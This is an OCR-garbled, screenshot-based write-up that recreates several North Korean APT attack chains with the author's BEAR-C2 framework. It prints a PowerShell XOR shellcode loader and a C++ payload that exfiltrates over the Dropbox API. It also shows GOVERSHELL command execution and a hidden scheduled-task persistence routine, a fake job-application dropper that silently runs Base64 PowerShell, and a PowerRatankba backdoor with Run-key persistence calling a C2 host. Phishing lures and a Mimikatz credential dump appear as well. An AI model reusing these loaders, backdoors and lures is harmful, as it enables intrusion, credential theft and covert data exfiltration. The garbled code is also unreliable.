» e

General - Temp y mode
Setup [ Unpack to temporary folder
Advanced l‘:» T =tion
Update o=
Text Question title
Logo and icon I
License () Restrict folder acceas
Module
~Silent mode

() Display ail

() Hide gtart dialog

(@) tide all

| X7

Start-Process

Advanced

Update ~2{AIO} TEO| RRUE PO TSI, doex™
Text

Logo and icon

License

Module

(D) wait and return exit code
o @t code adjustment
W
Advanced SFX aptions ? >
- Delete

Setup Files to te in the destination folder

Modes

Update

Text - Shortcuts 2

Logo and icon | Add shorteut, |

License

Module (o)

~
< >

() Request administrative access
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After using WinRAR to compress the file, | will create a shortcut to this file and place it in another folder
together with the actual images, then convert the folder into a ZIP file using standard ZIP compression.

= Ac&-n:-d SFX options T >
I > ThisPC : Desktop ~ o | Search Desktop - | General Load SFX loge from the file
Setup | | | Erewse... |
wa folder - Modes High resclution SFX logo
Advanced r | Browse...
Update Load SFX icon frem the file
. Text ————— || Browse...
Logo andicon
License
Module

phota_2025-08-2 Sophos_Endpoint
5 17-26-50.jpg (EDR) . exe

Telegrarm

-xecution technique)

Because | put the command line in the setup (Run after extraction) menuin the Advanced SFX options of the
WinRAR program, now when the victim opens the ZIP file to view the images, they also see an HWP document
containing a letter addressed to North Korean soldiers deployed to Russia.

@ . Apps  Places Aug 25 18:52 o 8 9 O o
win [Running] - Oracle VirtualBox CX X )

| ©° ®m @ ~ - an S2M
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The fourth stage (Toy.bat - shellcode)

When the PowerShell command in “toy03.bat” executes, it loads the “toy02.dat” file created in the temporary
folder to function as a loader; the embedded PowerShell within “toy02.dat” then runs and loads “toy01.dat”
from the same folder, during which XOR transformed data is decoded and mapped into memory and a new
thread is spawned; as a result, the shellcode is placed in memory and the region is made executable.

H| = - eme

- This PC

BN Pictures

File Home Share Wieww
“«— = =~ o M - win > AppData > Local > Temp ~ o

Narme Calculator — (&) < om Size

- Desktep = :‘::;"Z‘:‘:“"g"“‘ = standard EEU
B pDocuments

B Downloads

i O

$
<
H’U
N

e ]
CE c <= —_
ccccccccc exe should hawve launched 7 8 9 &
lidrapello: (2l Fs ci:wusersuwinuDesktop>
1 2 3 -+
(g |5 8 A
Administraton COWIndows\systerm32vermd. exe —_ = >
is script requires Administrator privileges. Requesting elevation...

After which another thread is created to run the memory-resident code constituting a fileless technique for
dynamic code execution and runtime malware injection.

As a result, the shellcode is loaded into memory and the memory area becomes executable.

$desktopPath = "C:\Users\win\Desktop"

if (-not (Test-Path $desktopPath)) {
Write-Host "Error: Desktop path $desktopPath does not exist."
exit

1

Set-Location $desktopPath

$shellcode =

[bytel]laC ’ ’ ’ ’ ' ' ' ' ’ ' ’ ,
’ ’ ' ' , ' ' ' ' v v , , ,
f f f f f v . , f f f . . . .
, , , , , , , , , B
, , , ’ ’ ’ ' ' ' ' ' ' ' ,
v , ' ' )
$key = [bytel]la( v v v )
$encoded = for ($i = 9; $i -1t $shellcode.Length; $i++) { $shellcodel$il

S$tempPath = [System.IO.Path] ::GetTempPath()
$toy@lPath = Join-Path $tempPath "toy0l.dat"”
try {
[System.I0.File] :: WriteAllBytes($toy@iPath, $encoded)
write-Host "Created $toy@iPath"
i
tch {
Write-Host "Error: Failed to create $toy@1Path : $_"
exit

bxor $keyl$i % $key.Length] }

| used shellcode to execute calc.exe for testing but later after compiling the base payload | will use the host-file
program included in BearC2 to upload the payload and obtain a masked URL. As shown in the server header for

Dropbox in the figure, opening that link causes the payload to download automatically without any interaction
from the victim. | will then use the (start) command, insert the URL that carries the payload convert it to
shellcode and place itin the shellcode slot instead of the calc.exe shellcode.
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The fifth stage (Data Exfiltration) over Dropbox APl C2 Channe

The attackers used the Dropbox C2 (Command and Control) APl as a means to establish a communication
channel between their payload and the attacker's server. By using Dropbox as a C2 server, attackers can hide
their malicious activities among the legitimate traffic to Dropbox, making it harder for security teams to detect

the threat.

O They exploit legitimate cloud services as Command and Control (C2) servers—commonly referred to as
" " This tactic is similar to Living off the Land (LotlL) attacks, which rely on

abusing tools already present in the system. In this case, however, the attackers leverage trusted public web

services to conceal their operations. These services are mostly global platforms, and [Blfs]slsls¥i has been

frequently used in recent cases.
First, | need to create a Dropbox account and activate its permissions, as shown in the following figure.

Dropbox

Developers Documentation Guides Community & Support App Console

Settings Permissions Branding Analytics

Individual Scopes Individual scopes include the ability to view and manage a user's files and folders. View Documentation

Account Info

account_info.write

account_info.read

Files and folders

files.metadata.write

After that, | will go to the settings menuto generate the access token for the Dropbox account, and this is what

we will use in Dropbox C2.

Dropbox

Developers Documentation Guides Community & Support App Console

Show

Redirect URis

Allow public clients (Implicit Grant & PKCE)

Allow

Generated access token
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The sixth stage (payload with injected Shellcode)

This payload that establishes a TCP connection to a remote server for command execution. It uses AES

encryption in CBC mode to secure communication, with a 128-bit key for encrypting and decrypting data. The
client authenticates with a predefined ID and executes commands received from the server, supporting both

CMD and PowerShell commands. Output from executed commands is encrypted and sent back to the server.
The program includes a Dropbox API function for file upload and employs Base64 encoding for data handling.

sockaddr in server;

server.sin family = AF INET;

server.sin_port = htons(443);
server.sin_addr.s addr = inet addr("162.125.5.14");

if (connect(sock, (SOCKADDR *)&server, sizeof(server)) == SOCKET ERROR
std::cerr == "Error: connection failedyn";
closesocket (sock) ;
return false;

std: :string request = "POST /2/files/upload HTTP/1.1\r\n";

request += "Host: content.dropboxapl.com\r\n";

request += "Content-Type: application/foctet-stream\rin”;

request += "Authorization: Bearer " + std::string(ACCESS TOKEN) + "\r\n";
request += "Dropbox-API-Arg: {\"path\": \"/payload.txt\"}\r\n";

request += "Content-Length: " + std::to string(data.size()) + "\r\n\rin";
request += data;

send(sock, request.c_str(), request.size(), ©

’

closesocket(sock);
return true;

This payload uses the Dropbox API to upload data, including command output to Dropbox. By leveraging the

Dropbox APl and providing an access token the payload hides its traffic within the legitimate traffic of the

Dropbox.

#define ACCESS TOKEN "put Your dropbox access token here"

#include <stdint.h=
#include <stddef.h>

#ifndef CBC
#define CBC 1
#Fendif

#ifndef ECB
#define ECB 1
#endif

#ifndef CTR
#define CTR 1
#Fendif
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Now | will upload the file to BearC2's host-file, use the start command with the URL, convert it to shellcode, and

place itin the main payload.

BEAR-C2
shis f [ ; Tl q [
.x. BEAR-C2 % [RECLETS .:_:, Tactical-Load o Operations @ Recon ® About
| Protocol - Session ID | Operator IP ‘ Session Status | Target Hostname | Check-in Time Target OS - Arch ‘ Process ID Target IP
Host File
Operator IP: 192.168.1.14 Port: 8080 | URL Mask: dropbox.:om:persanal%file%zF%stmr{

Server Header: Dropbox-HTTPAPI/2.0

Access URL:

Choose File B

12925-10-10 19:8:2
[2025-10-10 19:
[2025-10-10 19:

:3b] Selected Tile: cllent.exe
:39] SSL certificate created successfully

[2025-10-10 19:
[2025-10-10 19:
[2025-10-10 19:
[2025-18-10 19:
[2025-18-10 19:

:39] No conflicts found on pert 8088

:39] Server URL : https://192.168.1.14:8080
:40] Use this URL :

https://dropbox.com:personal%file%2F%3Fdmrs3D1%26ec%3Dwgc-my-share&followup=id@192.168.1.14:88

[2625-10-10 19:83:39] Server started on port 8080

:39] Using auto-generated self-signed SSL certificate and key
:39] SSL context initialized with TLS 1.2+ and modern ciphers

‘ Copy URL

:39] No external SSL files selected, generating self-signed certificate...

Start server

stop Server

[ 2]BEAR >>|

Final result: payload connect to BEAR-C2 server

The final step in this processinvolves the execution of the final payload. After being decrypted and loaded into
the current process, the final payload is designed to beacon out to both Dropbox API-based C2 server.

BEAR-C2 L)
- = . y ) - s
BEAR-C2 Qé Listener ;‘53 Tactical-Load ;a; Operations ‘(QZ Recon (D About
Protocol - Session ID [ Operator IP | Session Status [ Target Hostname 1 Check-in Time I Target OS - Arch ] Process ID Target IP
Reverse TCP-AES-6ed17/  10.67.13.124:43544 Active -0:03:24 ATLAS-S40HL9U3T 2025-10-10 19:18:11 Windows_NT - AMD64 3476 E = =8
Reverse TCP-AES-ad038  10.67.13.124:54310 Active - 0:02:48 ATLAS-S40HL9U3T 2025-10-10 19:18:55 Windows_NT - AMD64 3724 E-wm ==
coo

Reverse TCP - AES - 6ed176bd 4"
'émrbypass"s'ucéés'sﬁl' I
AMSI bypass successful
Loading Mimikatz...
Executing Mimikatz operations...

JHE#EE. mimikatz 2.2.0 (x64) #19641 Jul 24 2021 11:00:11
J## " ##. A La Vie, A L'Amour” - (oe.eo)
## / \ # /*** Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
#E\ / #H > https://blog.gentilkiwi.com/mimikatz
TH#R v #E Vincent LE TOUX ( vincent.letoux@gmail.com )
RERER > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 142968 (00000000:00022e78)

Session : Interactive from 1

User Name : win

Domain : ATLAS-S46HLSU3T

Logon Server : ATLAS-S40HLOU3T

Logon Time : 10/10/2025 7:17:16 PM

SID : 5-1-5-21-182200008-2274039470-3425382722-1601
msv

[60600003] Primary
* Username : win

* Domain : ATLAS-S40HL9U3T
* NTLM : ea7c23f2efca850e3fb547cal12567¢33
* SHAl : 8bf951cf903ecc622812d47b1157d1a3afagfbdc
tenkn -
[ 2]BEAR >>

QAR dBE

PowerShell
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Silent Chollima

Thisis a simulation of attack by (Silent Chollima) APT group targeting several customers and their usersin North
America, Asia, and Europe. The attack campaign was active in June 2025, have sent a link leading to a ZIP or RAR
archive file. Inside this file would be a legitimate executable that was given a filename relevant to the targeted
organization or tied to the theme of the spear phish email.When executed, this legitimate executable would
load a malicious payloadin anincluded Dynamic Link Library (DLL), via search order hijacking which provided
operators with the ability to remotely execute commands on infected devices. | relied on volexity to figure out

the details to make this:

. = 0 .« we
ZHincman “se HONZHIMOBANONESION  se  ese
ssse

Iamng

Social engineering technique: The attackers sent phishing emails containing HTML that included animage to
make it appear a document was attached to the email. If the image were clicked, it led to the download of
a remotely hosted archive file.

GOVERSHELL: All implantswere DLL filesthat were loaded via search order hijacking from the legitimate version
of either the 32- or 64-bit version of an open-source project.

Persistence & C2 traffic: Each variant of GOVERSHELL sets up persistence via a scheduled task on its first
execution and includes a command-line flag in that persistence execution, which is required to execute the
logic that includes C2 communication.

Netlify Link Contains

—_—
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https://www.volexity.com/blog/2025/10/08/apt-meets-gpt-targeted-operations-with-untamed-llms/

The first stage (social engineering technique)

Silent Chollima primary and sole method for targeting organizations is by conducting spear phishing campaigns.
Between June and August 2025, Silent Chollima sent phishing emails containing HTML that included an image to
make it appear a document was attached to the email. If the image were clicked, it led to the download of a
remotely hosted archive file. Users would then need to open and execute the executable file within the archive
inorder to become infected. An example body from one such email is included below.

Sharing a Relevant Research Report on Media Trends in Southeoast Asia

@ Elliot H Alderson <Amelia_Chavez Ya@pm. me:>-
To

whilo r

d Dy your editorial work

1 "Madia Consus

| recreated an HTML file identical to that used by the attackers. When the PDF icon is clicked, it redirects the
user to a browser link that downloads the malicious payload hosted by the BEAR-C2 project.

BEAR-C2
|

stds e - it o i i i

i BEAR-CZ Qg: Listener {8} Tactical-Load %] Operations <@> Recon ®Abuut B *~JAPT/Silent Chollima/ Attached To Email.html - Mousepad
| Elrget 0S-Arch ‘ Protocol - Session ID ‘ Operator IP ‘ Session Status File Edit Search View Document Help

D E O B x S ¢ X b O Q &® N o3

= Host File . ; )

H za 4 HURL LS LEMAL TAIMS yUL WS LU Iy OGS L3 U S WA LSy

N 22 a research analyst based in London, UK. I came across your

Operator IP: 192.168.165.124 Port: 8080 URL Mask: my.sharepoint.com:personal

organization while
23 researching media operations in Southeast Asia and was impressed
by your editorial work.

Server Header: Microsoft-HTTPAPL/2.0

24
A:OURL: 25
26

@)sa File g 27 I would like to share a recent research report titled

28 "Media Consumption Trends In Southeast Asia 2023",
1000 29 which I believe may be of interest to your team.
30 The report is attached for your reference.

[2025-12-23 ©4:34:45] Selected file: payload https xor.exe 31
[2% -12-23 04:35:04] No external SSL files selected, generating self-signed certifi 32
[2 12-23 ©4:35:085] SSL certificate created successfully

[2025-12-23 ©4:35:05] Mo conflicts found on port 8080

[29999.2-23 ©4:35:05] Using auto-generated self-signed SSL certificate and key B
[20§0'12-23 04:35:05] SS5L context initialized with TLS 1.2+ and modern ciphers " e I .
[2025-12-23 ©4:35:05] Server URL : https://192.168.165.124:8080 ; ° ext-decoration:none;
[2623-12-23 04:35:06] Use this URL : display:block; e e B . ;
h® ,//my.sharepclnt.cum:persunal‘sflle-‘szF‘53der‘sBDl-‘s26ec‘sBDwgcfmyfshare&fullcwup=1d 35 . N L 0 90% - left
.127ces0 36 'margin:2@px ©; background-color:#f8f7f6; border:ipx
[29*—12—23 ©4:35:05] Server started on port 808@ solid #d2d@ce; border-radius:4px;"
| =I7
-
38 "left" "padding:2epx;"
39 “presentation” e e
- "lefer
Start Server Stop Server 48
== 41
x  Thank T~ b Match case Match whole word -~

[ 2]BEAR >>|
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The second stage (GOVERSHELL payload)

Throughout various campaigns Volexity observed active changes in the malware, with significant differencesin
how the malware communicated and functioned. All variants observed by Volexity make use of a scheduled
task for persistence and provide the operator the ability to execute arbitrary commands on the target’s device.
With the exception of the first variant, all GOVERSHELL implants were DLL files that were loaded via search
order hijacking from the legitimate version of either the 32- or 64-bit version of an open-source project called
Tablacus Explorer.

std::string xor_crypt(const std::strings input, uvints t key) {
std:: string output = input;
(char& ¢ : output) c "= key;
output;

std::string xor_encrypt{const std::string& plain) {
std::string xored = xor_crypt(plain, XOR_KEY);
base64 :: encode(std :: vector<uints_ t>{xored.begin(), xored.end()));

std::string xor_decrypt(const std::string& encrypted_b64) {
std::vector<uints_t> xored = baseb64::decode(encrypted_b64);
std::string xored_str(xored.begin(), xored.end());
xor_crypt{xored_str, XOR_KEY);

std:: vector<uints_t> string_to_vector(const std::strings str) {
std:: vector<uints_ t>(str.begin(), str.end());

std:: string generate_random_dir() {
const std::string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@123456780"
std::random_devi?e_F?E
GOVERSHELL is a stealthy Windows implant that communicates over HTTPS with a remote command and
control server.lt uses XOR encryption combined with Base64 to protect all network traffic and payloads from
casual inspection. Upon first execution without its specific argument, it silently copies itself to a random folder
in C:\ProgramData and establishes persistence via a hidden scheduled task. Once persistent, it repeatedly
checks in with the server, receives encrypted commands, executes them locally (via cmd or PowerShell), and
sends back results. The implant applies configurable jitter delays between communications to evade pattern-
based detection.

std::vector<uint8_t> execute_command(const std::stringé command) {
bool use_powershell = (command.length() = 2 & command.substr(o, 2) = "EP");
std::string cmd_to_execute = use_powershell ? command.substr(2) : command;

(use_powershell) {

cmd_to_execute.erase(?, cmd_to_execute.find_first_not_of(" "));
cmd_to_execute.erase(cmd_to_execute.find_last_not_of(" "y + 1);
}
(use_powershell & cmd_to_execute.empty()) {|
string_to_vector("Empty or invalid PowerShell command");
}

(use_powershell) {
std:: string escaped_cmd;
(char ¢ : cmd_to_execute) {
(c = '""') escaped_cmd += " o
escaped_cmd += c;
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The third stage (Persistence & C2 traffic)

This function creates a hidden scheduled task named "SystemHealthMonitor" using schtasks.exe executed
silently via CreateProcessA. It builds a command string that runs the copied malware with -SilentChollima every
5 minutes at highest privileges. The process is launched with CREATE_NO_WINDOW and SW_HIDE flags to
prevent any visible console or window. It safely copies the command into a fixed buffer, null-terminates it, and

waits up to 5 seconds for completion. Returns true on success, ensuring stealthy, self-healing persistence
without dropping additional files.

// Persistence
bool create_scheduled_task() {

std::string quoted_path = """ # full_exe_path + "\"";
std::string cmd = "schtasks.exe /Create /TN \"SystemHealthMonitor /TR " + quoted_path + " " + RUN_ARG + " /SC MINUTE /MO 5 /F /RL HIGHEST";
STARTUPINFOA si = { (si) };

PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
char cmd_linel[4@96];
strncpy(cmd_line, cmd.c_str(), (cmd_line) - 1);
emd_Llinel[ (cmd_line) - 1] = '\e';
BOOL success = CreateProcessA{NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
(success) {
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
true;
false;

}

C&C server on HTTPS (port 465): The implant communicates exclusively over encrypted HTTPS channels with the
remote command-and-control server. All network traffic, including check ins, task retrieval, and results, is
protected using XOR encryption (key: 11) combined with Base64 encoding before transmission. When a
command is received, it is first XOR decrypted, then checked for the "EP" prefix to determine if it should be
executed via PowerShell or cmd.exe. PowerShell commands are properly escaped and run silently using
powershell.exe -NoProfile -NonlInteractive -Command, with full stdout/stderr capture. The command output is
captured, XOR-encrypted with the same key, Base64-encoded, and securely sent back to the C2 server over
HTTPS.

BEAR-C2 [ ]
s v i w ical- lat i ©
‘ - BEAR-C2 Q Listener ﬁ} Tactical-Load ‘:l Operations Q Recon @ About
| Target OS - Arch ] Protocol - SessionID | Operator IP Session Status Target Hostname | Check-in Time Process ID Target IP
22 Windows_NT -AMDG6+ HTTPS - XOR - 7d8ceebc-e 192.168.165.124:41592 Active -0:00:33 ATLAS-S40HL9U3T 2025-12-23 06:10:16 664
A8 JE

[+] SSL certificate created successfully

[+] Server started on 192.168.165.124:465 using HTTPS protocol with None exfiltration profile...
No exfiltration profile selected.
Listening for HTTPS XOR connections on 192.168.165.124:465

AUTH ID: ©fl1bfb59-e981-484b-b070-0fab5f5a38ae

[ 2]BEAR >>|
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Stardust Chollima

Thisis a simulation of attack by (Stardust Chollima) APT group targeting Chilean interbank network, The attack
campaign was active in December 2018, have used PowerRatankba, a PowerShell-based malware variant that
closely resembles the original Ratankba implant. The Redbanc corporate network was infected with a version of
the PowerRatankba that was not detected by anti-malware. The way attackers delivered the malware,
according to Flashpoint a trusted Redbanc IT professional clicked to apply to a job opening found on social
media (linkedin). | relied on Security Affairs to figure out the details to make this:

)

Stardust Chollima Operations performed:

The dropper used to deliver the malware is related to the PowerRatankba, a Microsoft Visual C#/ Basic .NET
compiled executable associated with Stardust Chollima APT. The dropper was used to download a PowerRatankba
PowerShell reconnaissance tool, the dropper displays a fake job application form while downloads and executes
PowerRatankba in the background by useing (Base64).

Zdnet resources:

The PowerRatankba sample used in the Chilean interbank attack, differently from other variants, communicates
to the C&C server on HTTPS, This latter code is registered as a service through the “sc create” command as, the
malware gain persistence by setting an autostart.
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https://securityaffairs.com/79929/breaking-news/chilean-research-redbank-lazarus.html
https://apt.etda.or.th/cgi-bin/showcard.cgi?g=Subgroup%3A%20Bluenoroff%2C%20APT%2038%2C%20Stardust%20Chollima&n=1
https://www.zdnet.com/article/north-korean-hackers-infiltrate-chiles-atm-network-after-skype-job-interview/

BushidoToken Threat Intel:

Pyongyang.
North Korea

North Korean e——

- N Reconnaissance General Bureau
Nuclear Weapons Aerospace

HIDDEN COBRA

3 T e Industrial B
Defectors { 4 Defence Industrial Base

(S _

Financial Institutions

Social engineering technique: The attackers delivered the malware, according toFlashpoint a trusted Redbanc
IT professional clicked to apply to a job opening found on social media.

Fake job application form: The dropper displays a fake job application form while downloads and executes
PowerRatankba in the background by useing (Base64).

PowerRatankba.psl: The main backdoor creates a connection between the targeted device and gives the
attacker full control via C2 server and latter code is registered as a service through the “sc create” command

as,” the malware gain persistence by setting an autostart .

C&C server on HTTPS: When a command is received, it is executed using the PowerShell command in
Windows. The output of the command is captured and sent back to the C2 server.
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https://blog.bushidotoken.net/2021/08/the-lazarus-heist-where-are-they-now.html

The first stage (social engineering technique)

The attackers delivered the malware, according to Flashpoint a trusted Redbanc IT professional clicked to apply
to a job opening found on social media.The person that published the job opening then contacted the

Steve Dawson (He/Him)
Recruiter at Meta
James Willy

Steve Dawson
Hello @D thank you
y

i, I'm fine
Thank you for your fr

Steve
You're

employee via linkedin Skype, etc for an interview and tricked him into installing the malicious code.
The group addressed several employees of the company through LinkedIn's messaging. Passing himself as a Meta
recruiter, the attacker used a lure of job offer to attract the attention and confidence of the target

This attack is based on a scenario that seems very natural and realistic. The attackers conduct job interviewsin a
completely normal way, and then inform the victim that they’ve been accepted for the position. Naturally, when
someone gets accepted for a job, it's expected that they will receive accessto a company email or be asked to
install certain programs required to start their tasks.

The scenarioappearscompletelylogical they mightadd you to the company’sSlackserver, or ask you to download
specialized tools or software. In some cases, they even ask you to start learning a new language like Spanish, and

they tell you that they’ve already purchased a chair for you. All you need to do isinstall a certain application and
enter your personal information into it.

But in reality, that application runs in the background and silently downloads a backdoor, giving the attackers
unauthorized access to your device.

And the real objective of the attack isnot the job itself, but the information on your personal device. M any people
still keep sensitive data from their previous jobs on their laptops such as documents, projects, or login credentials.
So, the attacker is indirectly targeting the company the victim previously worked at, or even the one they're
currently working for, by using the victim’s personal machine.

Instead of launching a direct attack on the company, they exploit normal human behavior like the desire to find

a better job and target individuals who already have access or sensitive knowledge. This gives the attacker a
hidden entry point to breach organizations without raising suspicion.
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The second stage (Fake job application - Backdoor Downloader by base64)

This Stager is a graphical user interface (GUI) designed to look like a registration form for a fake company called
"Global Processing Center, LTD." However, in reality, it contains malicious code that executes a hidden

PowerShell script when run. The dropper downloads and executes PowerRatankba in the background by useing
(Baseb4).

@ C+ Fake-Global-Processing-Center.cs X
home > s3n4tOr > APT > Stardust Chollima > € Fake-Global-Processing-Center.cs
1 tatic class Program
18510)
g) 151 [STAThread]
static void Main()
S 1 {
B {
154 Application.EnableVisualStyles();
a 155 Application.SetCompatibleTextRenderingDefault(false
E[z 15¢ Application.Run(new MainForm());
)l 158 // Execute the Base64 decoding and PowerShell scrijy
- 159 ExecuteBase64Script();
160 }
161
162 static void ExecuteBase64Script/(
1
164 // Baseb4-encoded content of the PowerShell script
1 string base64Content = "CiMgU3RhZ2VsZXNzIFBvd2Vyu2t
1
167 try
1 {
1 / Print first 50 characters for debugging
170 Console.WriteLine("Base64 Preview: " + base64Cc
171
17 // Remove any non-Base64 characters (excluding
base64Content = Regex.Replace!base64Content, [
/ Ensure proper Base64 padding
@ 7 while (base64Content.Length % 4 != 0
178 base64Content += "=";
g
1
18 = 547PM
XN ®oA0 Ln178,Col42 Spacesi4 UTF-8 LF <t @& 0 = P LI | & E'ﬁ_

Breakdown of the Malicious Code Execution:

Automatic Execution: When the program starts, it automatically calls the function ExecuteBase64Script(), which
is responsible for decoding and executing the malicious payload.

Baseb4-Encoded PowerShell Script: The program contains Base64-encoded data, which is often used to hide
malicious commands from antivirus and security software.

Execution with Unrestricted Policy: The PowerShell script is executed with bypassed execution policy
(-ExecutionPolicy Bypass), meaning it ignores any security restrictions on running scripts.

Thisis a known technique used by attackers to execute unauthorized PowerShell commands without user
consent.

Decoding and Writing to File: The Base64 string is decoded and saved as a PowerShell script file named
"PowerRatankba.ps1" which is then used as the attack payload.
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The third stage (PowerRatankba.ps1 - Backdoor)

This PowerShell scriptis a reverse shell with persistence, meaning it allows an attacker to gain remote access to
the infected machine and ensures it runs every time the system starts.

> PowerRatankba.psl x 05

home > s3n4t0r > APT > Stardust Chollima > > PowerRatankba.ps1
1  Add-Type @"

2 using System.Net;

3 using System.Security.Cryptography.X589Certificates;

4

5 public class TrustAllCertsPolicy : ICertificatePolicy {

6 public bool CheckValidationResult(

7 ServicePoint srvPoint, X509Certificate certificate,

8 wWebRequest request, int certificateProblem) {

9 return true;

10 }

11 T

12 "@

13

14 [System.Net.ServicePointManager]::CertificatePolicy = New-0Objec
15 [System.Net.ServicePointManager]: :SecurityProtocol = [System.Ne
16

17 # Persistence via Registry (Run Key)

18 $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Rur
19 $regName = "Payload"
20 $regvalue = "powershell -ExecutionPolicy Bypass -File $PSCommar
21 Set-ItemProperty -Path $regPath -Name $regMame -Malue $regValue
22
23 $server = "https://192.168.1.14:1111"
24
25  # Checkin
26 $checkin data = @{ } | ConvertTo-Json
27 try {
28 write-Host "[*] Sending checkin..."
29 $response = Invoke-RestMethod -Uri "$server/checkin" -Methc
30 $session id = $response.session id

31 Write-Host "[+] Checkin successful: $session_id"

32 } catch {

33 Write-Host "[-] Checkin failed: $ "

Ln21,Col53 Spaces:4 UTF-8 LF {} PowerShell

Once connected:
waits for commands from the attacker.
executes the commands on the victim’s machine.

sends the command output back to the attacker.

o]

T AN GIUUa T TULESSINIY=C SISl LS

n

pen ¥

Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new MainForm());

ExecuteBase64Script();

ExecuteBase64Script()

string base64Content =

:LVR5cGUgQCIKdXNpbmcgU31zd6VtLk51dDsKdXNpbmegU31zdGVELLINLY3VyaXR5LkNyeXBob2dyYXB-
‘NTA5Q2VydGlmaWNhdGVzOwoKcHVibG1jIGNSYXNzIFRydXN@QWxsQ2VydHNOb2xpY3kg0iBIQ2VydGl-
1dGVQb2xpY3kgewog ICAgcHVibG1jIGIvb2wgQ2h1Y2 tWYWxpZGFoaw9uUmvzdwxOKAog ICASICAEIFN-
1Y2VQb2ludCBzcnZQb2 ludCwgWDUWOUNLcnRpZml jYXRLIGN1cnRpZml jYXR1LA0gICAgICASIFd1Y1]-
.c3QgemVxdwVzdCwgaW5@IGNLcnRpZml JYXRLUHIvYmx1bSkgewogICAEICAEIHI1dHVYbiBOcnV10wo-
1fQp9CiIACgpbU31zdGVELKS51dC5TZXI2aWNLUGIpbnRNYWShZ2VyXTo602VydGLmalWNhdGVOb2xpY3k-
1ZXctT2IqZWNOIFRydXNOQWxs02VydHNQb2xpY3kKWINSc3R1bS50ZXQuU2Vydml jZVBvaWS0 TWFuYWd-
i0LN1Y3VyaXR5UHIvdG9 jb2wgPSBbU31zdGVtLk51dC5TZWN1cml@eVBYb3RvY295VHIWZVO601RscZE-
iIFBlcnNpc3R1bmN1IHZpYSBSZWdpc3RyeSAoUnVUIEt1eSkKIHI1Z1BhdGggPSAISELDVTpcU29mdHd -
:TWljcm9zb2ZeXFdpbmRvd3NcQ3VycmVudFZlenNpb25cUnVuIgokemvnTmFtZSA9ICIQYX1sh2FkIgo-
WmFsdWUgPSA1cG93ZXJzaGVsbCATRXh1Y3V0aWouUG9saWNSIEIScGFzcyAtRMlSZSAKUFNDb21tYWS

1aCIKU2VOLUT@ZW1QcmIwZXI0eSAtUGFRaCAkemVNUGFRaCAtTmFLZSAkemvnTmFtZSAtVmFsdWUgIHI-
1bHV1Cgokc2VydmvyID@gImh@dHBzOiBvMTkyLjE20C4xL JEAOjEXMTEiCg0jIENOZWNTaW4 K IGNOZWN -
‘ZGFAYSA9IEB7 IHOgfCBDb252ZXI0VG8tSnNvbgp@cnkgewog ICAV3IpdGUtSGIzdCAiWypd IFNLbmR-
Y2hlY2tpbi4uLiIKICAEICRYZXNwb25zZSA9IELUdmIrZS1SZXNOTWVOaGIKkICIVemkgIiRZZXI2ZXI~
Y2tpbiIglU11ldGhvZCBQTINUICICh2R5ICRjaGVja2luX2RhdGEELUNVbNR1bnRUeXBLICIhcHBsaWN-
'b19qc29ulgogICAEJHNLc3Npb25faWQePSAkemVzcGIuc2Uuc2Vzc2lvbl9pZAogICAgV3 IpdGULtSGY

‘WytdIENoZWNraW4gc3VjY2Vvzc2Z1bDogIHN1c3Npb25fawQiCnegY2FOY2ggewogICAgV3 IpdGULSGY

Wy1dIENoZWNTaW4gZmFpbGVkOiAkXyIKICAEIGV4aXQKfQoKIyBMb29wIHRVIGd1dCBb21tYWSkewp3
'SA0JHRYdWUpIHSKICAEIFNOYXJOLVNS ZWWwIC1TZWNvbmRz IDMKICAgIHRyeSB7CiAgICAEICAEIGN -
'XNwID@gSWS2b2t1LVI1c3RNZXRob2QgLVVyaSALIHNLcnZ1ci9nZXRFY29tbWFuZD9zZXNzaWouX21k-
!XNzaWIuX21kIiAtTWV0aGIkIEdFVA0EICAEICASICRjbWQgPSAKY21kX3I1c3AUY29tbWFUZAoEICAE-
GLmICgkY21kKSB7CiASICASICAEICAEIGIMICEkY21kICItYXR]aCALYHIgbnxchbiIpIHSKICAEICAE-

Persistence (Runs at Startup): The script modifies the Windows Registry (Run key) to automatically start on
reboot. Every time the user logsin, the malicious script executes again, ensuring the attacker regains control.
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The fourth stage (payload connect to HTTPS-C2 Server)

C&C server on HTTPS: When a command is received, it is executed using the PowerShell command in Windows.
The output of the command is captured and sent back to the C2 server.

@ . Apps  Places ‘Aug7 13:29 o v O L36%

BEAR-C2

I& BEAR-C2 QSQM' s Tactical-Arsenal MOporamms Onxon @M

| _Protocol-SessionID |  OperatorAddress | Session Status rrmm-mj CheckinTime |  TargetOs-Arch | Process ID | Target 1P |
@ﬂm 192.168.1.14: 36784 Active - 0:00:02 A 2025081

ggﬂﬁaca

.
lo‘]gl certificate created successfully with IP: 192.168.1.14
[+ rver started on 192.168.1.14:1111 using HTTPS protocol with None exfiltration profile...
exfiltration profile selected.
Listening for HTTPS connections with SSL on 192.168.1.14:1111...

win [Running] - Oracle VirtualBox

W St C L e Dty sk Gk oy Crrte mve
Preview L WRSCO! 1 A1 0Nt LIS I EDstOpbacgys. .

[ 2]BEAR >>
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Velvet Chollima

Thisis a simulation of an attack by the (Velvet Chollima) APT group targeting South Korean government officials.
The attack campaign beganinJanuary 2025 and also targeted NGOs, government agencies, and media
companies across North America, South America, Europe, and East Asia. The attack chain starts with a spear -
phishing email containing a PDF attachment. However, when targets attempt to read the document, they are
redirected to a Fake-Captcha link instructing them to run PowerShell as an administrator and execute attacker-
provided code. This simulation is based on research from Microsoft's Threat Intelligence and Bleeping
Computer:

The attackers used a new tactic known as ClickFix, a social engineering technique that has gained traction,
particularly for distributing malware.

ClickFixinvolves deceptive error messagesor prompts that trick victimsinto executing malicious code themselves,
often via PowerShell commands, ultimately leading to malware infections.

Microsoft's Threat Intelligence:

According to Microsoft's Threat Intelligence team, the attackers masquerade as South Korean government
officials, gradually building trust with their targets. Once a certain level of rapport is established, the attacker
sends a spear-phishing email with a PDF attachment. However, when targets attempt to read the document, they
